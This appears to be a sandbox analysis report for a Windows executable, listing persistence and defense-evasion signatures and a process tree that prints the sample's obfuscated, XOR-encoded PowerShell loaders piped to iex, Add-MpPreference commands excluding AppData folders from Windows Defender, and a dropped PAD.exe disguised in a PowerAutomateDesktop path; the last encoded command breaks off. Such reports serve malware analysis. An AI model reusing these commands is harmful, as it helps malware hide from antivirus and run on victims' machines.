Overview

overview

8

Static

static

3

ab53b592fb...37.exe

windows10-2004-x64

8

ab53b592fb...37.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 07:28

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ab53b592fbaf9ca246003ba95a0234cfb5539d5790776174dfbca6c0a3f73037.exe
  • Size 3.6MB
  • Sample260909-jaw9gstdpd
  • SHA256 ab53b592fbaf9ca246003ba95a0234cfb5539d5790776174dfbca6c0a3f73037
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasionexecutionpersistence

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab53b592fbaf9ca246003ba95a0234cfb5539d5790776174dfbca6c0a3f73037.exe
    "C:\Users\Admin\AppData\Local\Temp\ab53b592fbaf9ca246003ba95a0234cfb5539d5790776174dfbca6c0a3f73037.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4428
    • C:\Windows\system32\net.exe
      "net" session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:2112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -EncodedCommand JAB3AHkAZwB3AGEAdABmAD0AJwBZAEcASgAvAEMAZwBBAEMASQBSAG8AdwBmAEgAQQAwAGIARwBOADcARwBBAEEAVgBNAGgAawBIAEIAMQA0AHUAVgBqADkAagBEAFQAawA3AEMAQgAwAHMAZAB3AHMAQQBWAGoAeABKAFUAdwBFADcASgBoAHMAQgBjAFUASQB5AFYAbQBKADgAQgBTAGsAVgBRAFMAbwBIAEIAZwBzADIAYgBBAFkAWQBDAFMAbwBwAE4AZwBVAC8AZAB3AHMATQBWAGgAZAB2AEcAegBrADcASwBnAEkARwBXAFcAdwAzAGIARwBOADQAQgBTADgANQBKAGwAbwA4AEIAawBKAHoAVgBtAE4AQgBGAEEARQBBAE0AZwBZAEIAYwAxADAAbABmAHkAaABKAEoAaQB3AEEAQwBEAGcARwBCAG0AdwA3AFYAbQBCAFYASQBEAGsAcgBRAFIANABIAFcARQBJAEEAVgBoAGwAdgBKAHoAbwAwAEkAZwBZADkAYwBVAEkAMABiAEcATgByAEUAUwBrAFYARQB3AEEAcwBkAHcAcwBWAGIAdwBsAG4AQwB5AG8AcQBPAGwAOABIAFgAMwB3ADQAZgBCAEkAYwBPAGcASQA3AFIAUQBVAEgAQgAxADQAVwBVAFIAbABCAEUAVABrAC8ATQBpAGMARQBZADIAZwBwAGIAdwBZAFoAWAB3AD0APQAnADsAJABtAHQAeABzAHMAaAA9ACcANQBRAC0AYgBjAGwAcABuAGUANAA6AEIAJwA7ACQAZwBzAHIAcgA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB3AHkAZwB3AGEAdABmACkAOwAkAHoAYgB0AHQAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAZwBzAHIAcgAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABnAHMAcgByAFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAbQB0AHgAcwBzAGgAWwAkAGkAJQAkAG0AdAB4AHMAcwBoAC4ATABlAG4AZwB0AGgAXQB9ACkAKQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHoAYgB0AHQAKQApAHwAaQBlAHgA
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1772
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -EncodedCommand JAB2AGsAbQB2AGQAYgA9ACcATgB3AHQAbABYAEMANABlAE8AQQBRAE4ATwBqAG8AVABPAHcAcABoAFQAaQA0AEoASwB3AGMANgBRAFIAUQBKAEEAVgBaADUAVwB4AGMAbgBFAFEATQBSAE0AVQBFAG4AQQBWAFYAVABCAFMAOABuAFAAdwBVADgATgB3AGcAVgBBAFEAdABtAFUAdwBjAEoAVwBEAFEANgBRAEUARQBSAE8AMgA4AEMAWAB3AFEAMQBMAHgAcwBDAE0AVQBFAHIAQQBYADUAMQBUAFIAYwBuAE0AeAB3ADcASAB5AFkAUQBPAHcAcABpAFUAdwBFAGwAUAAwAFEAQgBRAEEAaABVAEEAUQBwAGIAUQBpADgAYwBLAHgAZwA4AE4AUgBjAEMASwBFAEYAVABjAEEASQBjAEUAUwBZADcAUQBDAFkAYwBBAFEAbABQAGQAaABjADMAVwBBAEEANgBIAGcAZwBuAEEAWABCADEAYwBSAFEAbwBPAHgAZwBBAE4AdwBnAFQATwB3AHAAeABSAHgAVQAyAEsAeABnAEIAUQBBAFEATgBPAEEAcABoAFQAZwBjAEoAQwBoADQAUgBNAFUARQB5AE8ARwBCADkAWABRAFEAMgBJADAARQA2AEcAVABZAGYASwAzAHMARwBiAEMAdwBuAFgAQgBzADYAUQBSAFEAeABCAG4AQgBiAFIAeABjAGoASwB6AGsANQBKAFMASQBPAE8ARwA4AEQAQwBRAD0APQAnADsAJAB0AHEAYQB3AHkAPQAnAGIAOAA3ADQATQBwAGkAcABYAHIAcABlACcAOwAkAHgAZQB5AGoAbAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB2AGsAbQB2AGQAYgApADsAJABxAGsAbABtAGsAdABlAGYAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAeABlAHkAagBsAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAHgAZQB5AGoAbABbACQAaQBdAC0AYgB4AG8AcgBbAGIAeQB0AGUAXQAkAHQAcQBhAHcAeQBbACQAaQAlACQAdABxAGEAdwB5AC4ATABlAG4AZwB0AGgAXQB9ACkAKQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHEAawBsAG0AawB0AGUAZgApACkAfABpAGUAeAA=
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Packages'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5028
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -EncodedCommand JABzAGoAbABnAD0AJwBBAEIAdwBhAGIAbQBNAHoASABUAEEAZQBIAFMATQAxAEgAMgBjAGEASQBsADAAagBEAGkATQBDAEkAaQA4ADcARQAyAGMAZwBJAFYAZwA4AEMAbQBJAEMASQBpAE0AdQBLAHcATgBEAE0AbABnADgARwBqADgAcwBEAFYAUQBQAEsAdwBOAEQATQAxAHQAWABQAEMAMABkAEcAVABNADcASwBEAG8AawBLAEYAMABzAE4ARABNAEIASgBCAEUAZgBFAEEAdwBrAEgARgAwADgARQBpADQAVQBHAFYAUgBuAEEAUgBjAGQATABXADAASgBIAGkATQBVAEcAaABKAGcAQQBCAHcANABMAFYAMABKAEYAVABBAGUASABTAE0AZgBFAEEAdwBuAEwARwB4AFcARgBqAGcAVQBHAFQATgBtAEsAQgBNAGcATQAyADgAagBIAGkAMAB2AE4AeQBOAHYAQQB4AEkANABOAEYAcwBqAEQAagAwAHEARABWAEEASABFAHoAawBHAE4ARwBCAFgAQwBUAEEAQwBHAHoAZABqAEsAUgBNAHcATABXAE0AaQBHAGkANABzAGYAUwBNADcASwBUAG8AawBiAFgAQQBpAEMAagA4AHQAZgBCAFUARwBFAHcAdwBrAE4AMwBBAG4AYQBRAEUAcwBJAHcAMAB2AEwAZwBNAGoAYgAzAFkAZABDAGoAOABVAGYAQwBzAC8AQQB4AEIARwBQADIAMABKAEQAbQBRAEMARwAxAGcAKwBLAHoAawBnAE0AbAAwAG4ARwBnAE0AcgBGAGkAOQBuAEUAQQBOAEcATABXAHcASgBIAGkASQBVAEMAVgBnAGoAQgBTADQARgBNADEAbwBqAEgAbQBRAHEASABTAEIAdQBBAHgAYwBrAEwAVgAwAHoASQBDAFEAQgBOAEIASQA4AEsAQQB3ADgASwBsAHMASgBLAEMAQQByAEkAQQBZAHcARwBnAGMAMwBNADEAcwBLAEQAaQBRAHMAQwBoAEoAZwBBAEIAdwA0AE4AMQBzAEoAUABHAGMAcwBKAHkAQgB1AEEAeABjAGsATABWADAAegBJAEMAUQBCAE4AQgBWAGsASwB4AE0AYQBLADIATQAzAEcAVABnAEUAQgBpADgAaQBMAGoAawA3AEwAVwBoAFcAWQBXAFkAcwBJAEQAQQB3AEIAZwBNAFMAYQBIAEEAZwBHAFQAQQBDAEcAUwBjAGkARQBCAGMAMwBMAEYAcwBKAFkAVwBjAEgARABUAE0AZwBFAHcAdwBTAGEAWABJADMARwBtAEEAQgBOAHoATQBqAEsAVABrAEMATABWAGcASwBHAG0ARQByAEQAUwBCAHUAQQB4AGMAawBJAGwAcwBLAEEAagAwAFoATgB6AE0ALwBFAEcAWQA4AE0ASABVAFAAYgBUAHMAcgBCAGoAQQA0AEIAeABjAEIAUAAzAE0AcwBGAGkASQBxAEkAeQB3AGkARwAyAFoAUABhAFYAcwBLAEMAUwBjAFcARwBoAEoAZwBBAEIAdwA0AE0AVwBNAEoATgB6AEEAZQBIAFMATQBmAEUAQQB3AG4ATABHAHgAVwBGAGoAZwBVAEcAVABOAG0ASwBCAE0AZwBNADIAOABqAEgAaQAwAHYATgB5AEEAagBIAEIATQB3AEkAbABoAFYARwBqADgAcQBDAFEAWQB3AEEAQgBOAEgASQBWAGgAVwBiAFMAWQB0AEIAaABGAGoAQgBTADQAQwBLAEcATQBOAEcAVABnAEUAQgBpADgAKwBFAEQAawBaAEwAVwBoAFcAWQBXAFkAcwBJAEQAQQB3AEIAZwBNAFMAYQBIAEEAZwBHAFMAYwBIAEIAaABKAGcAQQBCAHcAMABNAEYAMQBYAEQAVABBAGUASABTAEEAOABLAFcAWQA4AE4AVgBnAEkASwB6AHcAWABHAFEAVQArAEUAdwBkAEQARgAyAE0AOABNAEcAYwBGAEMAaQBBAGsAQQB4AGMAawBJAG0AQQBKAEEAaQBZAEMASgBTADgAaABMAGcATgBEAGEASABJAHkAYQBHAEEAQgBOAHoATQB0AEsAeABOAEQATgBsADAAagBiAEQAQQBlAEgAUwBNAG4ARQBEADAAMwBOADMATQBzAEcAagA4AHEAZgBUAFEAaQBHAEIATQBnAEkAbQBCAFgARQBpAGMAdABCAGoATQBuAEsARwBaAEMASwBIAEEAcwBLAHoAQQBFAEIAaQBNAC8ATABtAGMAagBMAFcAcwBqAEQAaQAwAFgAZgBTAHMAbgBLAFIAdwBrAEsARgB0AFcAYgBEAEEAbwBIAFMATQA3AEsAQgB3ADQATgBIAEEAcwBLAHoAQQBFAFoAUwBvAHcATABSAGMAVgBQADEAOAB3AEsAMgBBAG8ASABTAE0ANwBLAEIAdwA0AE4ASABBAHMASwAyAEEARQBCAGkAOABpAEwAagBrADcAUAAyAGsAMwBHAFQAdwB0AGYARgBSAGwARQB5ADAAMABZAEgAQQBpAFAARABnAFUARgBpAHMANwBCAGcARgBQAE0AVgBnAEoARABqADAAcQBEAFMATgBnAEEAeABjAGsAUABuAEEAbgBhAFMASQBVAEgAUwBBADgASwBBAHcAOABLAGwAcwBKAEsAQwBBAHIASQBBAFkAdwBMAEEAQQBGAGIAMQA4AHcATABHADQAQgBmAEEAMAA2AEEAeABjAFIATQAxAG8AagBIAG0AUQBxAEgAUQBvAHcATAB5ADQARgBNADIAQQA4AFAARABzAHEAQwBTAHMAdABFAEEATgBDAFAAMgBrADMARwBoAGcAVQBGAGcASQBqAEgAMgBZADQATgAyAE0AegBDAG0AWQBzAEMAVABjADgASABCAE0AdwBJAGwAaABVAEgAagAwAHEAQwBRADAAaABLAEQAMAAzAEwARwBzADgATQBEAHMAWABmAFQAZABuAEUAQQBjADMATgBtAGcAZQBLAEQAUQBZAEYAaQA4ADcASwBUAG8ANABPADIAZwB6AEMAaQBNAHYARwBWAFEAMABHAHcAdwAwAEwAMgBzAGoASABtAGMAWABHAEIAawBhAEsARwBZADQATQBGAHMAaQBJAEEAWQBYAEcAUwA4AGwARQB3AE0AUwBOAEYAcABWAEkAQgBrAHYARwBTADgAdQBLAEcAYwA0AEwAbQBNAEsAQwBTAEkAYgBDAFYAaABrAEUAQQB3ADgARwBsADAAOABDAGkARQBzAEcAUwBkAG4ARQBBAEUAawBOAEYAcABXAEwARwBjAHMAZgBTAE0AeABCAHoAbwBTAE4ARgBoAFgATgBEADQAWABKAEMAeABqAEUAegBrADgAYQAyAE0AeQBJAEQAMABzAGYARgBRADYARQBCAE0ANABPADIAdwBoAEgAaABJAEMASQB6AGQAagBFAEEAYwBWAGIAMwBZAGQAQwBqAG8AcwBmAEIAVQArAEUAeQAwADMAWQBYAEEAbgBNAEIAOABVAEYAagBBAGoARwBCAE0AdwBhAEcATQAzAE0AeQBJAGYARwBUAE0AOABHAEIATQB3AGIAVgBvAGQAUAB5ADgARgBIAFYAUQBTAEUAdwB3AGsATgBIAFUAUABIAGoAdwBVAEMAdwBrAGgATABnAHcAOABJAG4ASQBnAE0AeQBjAEMASgBTAGMAOABFAEIARgBIAEsARgBzAEsARABtAGMAVQBGAGkAdwA0AEIAdwBBAFIASwBIAFkAZQBLAHoAdwBzAEcAUQAxAGkASwBXAFkATwBJAG4AQQBnAGEARABBAGEASQB6AGQAawBCAGcASQA0AE0AbABnAGoARABqAHcAcQBHAFIAawA3AEUAQgBJAGsATQBGAHAAVwBMAEEASQB0AEkAdwAwADUARQBHAFkAZwBJAFgAQQBuAGEAUgBJAFgARwBRADAAawBMAHcAYwAzAEwARwBnADgAQwBUAEEARQBDAFQAcwBoAEsAMgBZADgATQBuAFkAZQBLAHoAdwB2AGYARABjADkATABqAGwASABLAGwAMABOAEcAVwA0AEgAQwAxAFEANwBMAGkAMQBIAEQARwBCAFcATQBEAHMAVQBCAGoAYwBrAEUAQQBNAGsARABXAEEAOABGAGkAVQBiAEIAaQBzAG4ASwBEAGsANABLAEYAbwBqAEgAaQBRAEgARABWAEEAQgBLAFcAWQBnAEkAVwBvAHoAQwBUAEEARQBCAGcAMQBoAEUAQQBNAHoAUAAzAFUAeABJAEMARQBVAGYARgBnAGkASABCAHcAYQBMADIATQAzAEcAaAAwAHMASQBEAE0ANwBLAFQAawB3AE0AbAAwAGoATgBHAFUAVQBIAFMAQQBqAEgAegBvAGcATABXADAAagBEAG0AVQBVAEcAUgBZAHcARwBSAE0AYQBOAGwAZwBqAEQAaQAwAHEAQwBoAEoAZwBBAEIATQA4AE4AbABnAEoASABUAEEAZQBIAFMATQBZAEUAQQB3AFYATABHAHgAVwBGAGoAZwBVAEcAVABOAG0ASwBCAE0AZwBNADIAOABqAEgAaQAwAHYAZgB5ADgANwBMAGgAdwBrAEsARgBzAEoAUABDADAAYgBmAEQAZABuAEEAeABkAEgARwBsAHMAagBJAEMARQBxAGYAeQA5AG4ARQB3AHcAOABhAEcAbwB6AEEAZwBjAHMASgBTAHMALwBMAGgAdwBrAE4ARgBvAEoATgBEAHMAdABOAHkAQQBqAEcAQgBOAFAATABWADAAaQBGAG0AYwBzAGYAUwBNAGQARQBEADgAUwBMAGwAZwB6AGIAVABrAGEAZgBGAFEAVQBFAHcAdwBrAGEARwBNADgARQBpAGMAVQBGAGkAdwB3AEIAZwBJADQAYQBHAEEAOABFAG0AYwBZAGYAQQBrADcASwBEADgAdwBhAG0AQQB6AE4AQwBRAFgARwBTAHMAawBFAEEAYwAzAEwARwBvAGoATgBEAHcAVQBDAFQAYwBpAEIAUwA0AEYATQAyAEEASgBQAEMAWQBYAEgAVgBRAFIATAB4AE0AZwBNAGwAMAA4AEMAaQBjAHMAZgBGAFEAQwBLAHcATgBIAE4ARwAwAGoATgBDAE0AdgBGAGoAQQB3AEcAZwBjADMATgBtAHcAaQBDAFMAQQBiAE4AdwBKAGcAQgBTADAAawBNAFcATgBXAEsARAA4AEMASgBTAGMAawBLAEIATgBQAGEAMgBvAGoASABpADQAVQBDAEQATQA3AEsAVABsAEgASwBGAHMASgBIAG0AYwBVAEgAUwBCAHUAQQB4AGMAawBOAFcAQQB6AEkAQwAwAFUARwBoAEoAZwBBAEIATQA4AE4AbABnAEoASABTAEkAYgBJAHoAYwB0AEwAaABNAHcASQBWADAAaABOAEMASQBxAEMAVABjAHUATABqAGsAdwBLADMAQQBnAGEARABBAEUAZgB5AE0AQwBCAHkANAAwAEYAbgBNAGUASwAyAEEARQBDAFMAcwA1AEsAegBrAHoATABXAHcASgBEAGkAMABxAEMAUwBjAHUATABoAEUANABMAGwAMAB6AGIAVwBjAEgAQwBsAEUAdwBCAEIAQQBSAGIAMwBZAGQAQwBqADQAVQBmAEIARQAvAEIAagBnADQAYQBHAEEAOABFAG0AYwBZAGYAQQBrADcASwBEADgAdwBhAG0AQQB6AE4AQwBRAFgARwBTAHMAawBFAEEAYwAzAFkAWABBAG4AQwBtAGMAdABJAEQAYwA3AEIAUwA0AEYATQAyAEEASgBQAEMAWQBYAEgAVgBRAFAARQB3AE0AQwBOAEcAOABqAFkAUQBRAHEARwBWAFUAdwBHAGcAYwAzAE0AMQAwAHMARQBtAFkAVQBHAGgASgBnAEEAQgBNADgATgBsAGcASgBIAFMASQBmAEcAUgBrAGsASwBHAGMAUwBIAFcATQB6AGEAVAA4AHMASQB6AE0ARABMAGgATQB3AEkAVgAwAG4ARwBXADQASABEAFQATQA2AEUAdwBNAE8ASQBtAE0AdwBLADIAQQBFAEMAUgBVADQATABnAE0AQwBiAFgAQQBnAGEARABBAEgASgB6AEEANABBAEIAdwAwAE0ARgAxAFgARABTAEkAWQBDAFMAYwB0AEsAMgBSAEQATQBGAHMAegBEAFMAZAA2AFAAeQBJAFcAQQB6ADQARgBiADIAdwBKAEQAagBrAHYARgBpADkAbgBFAEEAdwAvAEwARwB4AFcARgBqAGcAVQBHAFQATgBtAEsAQgBNAGcATQAyADgAagBIAGkAMAB2AE4AeQBBAGoARwB3AE0ANABhAEYAZwB6AFkAUwBJAEgARABUAE0ALwBMAG0AWQBnAGEARwBBAEsARgBqAHMAcwBKAHkAQQBqAEgAQgB3ADgASwBHAE4AVwBQAEQAcwB0AEoAeQBBADgASwBBAE0AYQBiAFYAcABXAEkAQwAwAEgARABWAEEARwBLAFQAawBhAEwAVwBCAFcATgBDAEEAWABHAFIAWQB3AEEAQgBNAEMATgBHAEIAWABBAGkATQB2AGYAVABnAHcAQgBnAEkANABOAEYAMABzAEMAaQBjAHMASQB3AFUAdABBAHgAYwBrAE0AVwBOAFcASwBEADgASABEAFYAQQBDAEUAdwB3ADQASwBtADAASgBIAGkATQBVAEgAUwBBADgASwAyAFkAZQBhAFYAaABYAE0AegBBAEMARwBEAE0ALwBLAFcAWQBDAEMAVwBBADgAQwBqAGcASABEAFQATQBqAEsAVABrAEMATABWAGcASwBHAG0ARQByAEQAUwBBAGoARwBCAE0AZwBJAG0AQgBYAEUAaQBjAHQAQgBqAE0AbgBLAEcAWgBDAFAAMwBNAHMARgBqAGcAcwBJAHcAVgBuAEsARAAwADMATABHAHMASgBZAFMANABYAGYARABSAGcAQgBXAGQARwBaAFEAPQA9ACcAOwAkAGYAbwBxAGEAdgBjAG8APQAnAEoAVAB2AFgAOQBkAFgAVwBOAE4AYQBXACcAOwAkAGcAdwB5AHkAdwBoAGMAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcwBqAGwAZwApADsAJABkAGIAeABpAGkAbABpAGsAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAZwB3AHkAeQB3AGgAYwAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABnAHcAeQB5AHcAaABjAFsAJABpAF0ALQBiAHgAbwByAFsAYgB5AHQAZQBdACQAZgBvAHEAYQB2AGMAbwBbACQAaQAlACQAZgBvAHEAYQB2AGMAbwAuAEwAZQBuAGcAdABoAF0AfQApACkAKQA7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGIAeABpAGkAbABpAGsAKQApAHwAaQBlAHgA
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4116
    • C:\Users\Admin\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_2wekybb38bbwe\confdc\PAD.exe
      C:\Users\Admin\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_2wekybb38bbwe\confdc\PAD.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • NTFS ADS
      • Suspicious use of WriteProcessMemory
      PID:4764
      • C:\Windows\system32\net.exe
        "net" session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:384
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -EncodedCommand JAB6AGUAbAB6AG4AdQBxAD0AJwBJAG4AOAAyAEgAdwAwAHYAUABqAEYAbgBQAHkARQB4AEwAbgA0AHkARABRADAANABMAFQASgBRAFIAQQA4AHIARgBDAEkAcQBHAEQAUQBXAEYAegBaADcATgBGAG8ARgBGAEMARQBBAFIAZwB3AFcATwBUAEIAVwBNAGgATQAzAEYASAA4ADEARQBDAFEANABYAGcARgBRAFIAVgBvAHoATABoAHQAUgBIAEMAYwBFAEsAUwA1AG8ATgBGAG8ASgBGAEEAbwBtAEQAagBRAFcATgBTAGwAUgBHAGoAMAB5AEwAbgA0AHgARQBDAEkAVQBPAFgARgByAFIAUgBOADIARgBIADQASQBBAFEAdwB0AEwAUwAxAFcATQBBAHcAZwBQAFQAVQBBAE0AeQBFAHQARgB4AE4AUgBSAFQAMAArAEYASAAwAGMATgBUAFEARwBYAGoAVgBRAEcAeABNAEYARgBBAFEAbQBNAGoAYwBaAFAAUwAxAHEATQBoAE0AeABMAG4ANABpAEIAQwBRADQARABDAHQANwBOAEYAbwBRAEwAUgBRAHUASABpAGMASABKAFgAUgBRAEgAQwAwADkAUABnADkAVgBMAHcAOABXAFcAaQA1AFEAUgBBADgAVABFAHcAUQBJAEIARABRAFMATABRAHgAVABJAEQAawBzAEwAUgB0AFEAUwBnAD0APQAnADsAJAB4AGsAawBnAGwAPQAnAHcATABkAHcAbgBBAG8ARQAyAHcAawBHACcAOwAkAG8AbABwAHoAcAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJAB6AGUAbAB6AG4AdQBxACkAOwAkAGkAcwBmAHYAPQAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAKABmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAbwBsAHAAegBwAC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAG8AbABwAHoAcABbACQAaQBdAC0AYgB4AG8AcgBbAGIAeQB0AGUAXQAkAHgAawBrAGcAbABbACQAaQAlACQAeABrAGsAZwBsAC4ATABlAG4AZwB0AGgAXQB9ACkAKQApADsAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAcwBmAHYAKQApAHwAaQBlAHgA
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1492
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3404
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -EncodedCommand JABlAHUAdgB4AGQAaAA9ACcARgB3AFEAagBNAFMAWQA1AEEAZwBGAHYAZgBEADgAMABHAHcAVQBuAEkAeQBZAHUARQBRAEoAWQBCAHgARQB1AEkAVgBrAC8ATgBoADgAQQBLAHcAWgB6AGQAMABRAEEASQBWAG8AVgBhAEMAYwBBAEIAUQBCAGUAYwBRADAAeQBJAFEAUQBnAFAAZwA4AHUAWQBqAEYAWQBCAGsAUQAyAEcAMgBCAEUATQBnAHcAUwBGAFIANQBnAGQAMABRAE0ASQBYAEUAegBJAEIAOABBAEMAUgBsAFoAVwBTAE0AMwBHAHcAVQBrAFAAZwBrAEMAQgBVAEYAagBCAGcAMQB6AEkAUQBVAGQATAB5AGMANwBFAFIAMQBlAGMAeABJAGwAQwBFADQAVgBIAFEAbwA3AEsAeQBOAFoAQgBpAE0ANwBJAFEAWQBKAEcAeAA4AFEAWQBnAFYAWQBXAEEAMABBAEkAWAA4AHoASABCAHcAUABBAFIAMQBpAGMAUQAwADAARwB3AFUAMwBLAGgAMABSAEUAUgAxAGoAQgBnAEUAcQBHAEEAVQBuAEkAdwA4AHUATQBCAHQAegBkADAAUQBWAEcARwA4ADcATQBBAHcAUgBHAFUAUgBZAFgAegBNADQAQwAzAFIAQQBBAFMAUQBBAFoAaAA1AFkAQgB4AEUAVwBKAG4AOABkAEsAaAA4AEUARQBUAHgAYgBZAHkAYwBwAEcARwBCAEYAWgBBAD0APQAnADsAJABoAGQAcwBsAGEAZQBpAGUAPQAnAEIANwBxAFkARQBXAFMAdQA6ADQAdQBCACcAOwAkAHYAYQBqAHMAcABxAGwAagA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlAHUAdgB4AGQAaAApADsAJABrAGMAagB0AD0AKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkACgAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHYAYQBqAHMAcABxAGwAagAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJAB2AGEAagBzAHAAcQBsAGoAWwAkAGkAXQAtAGIAeABvAHIAWwBiAHkAdABlAF0A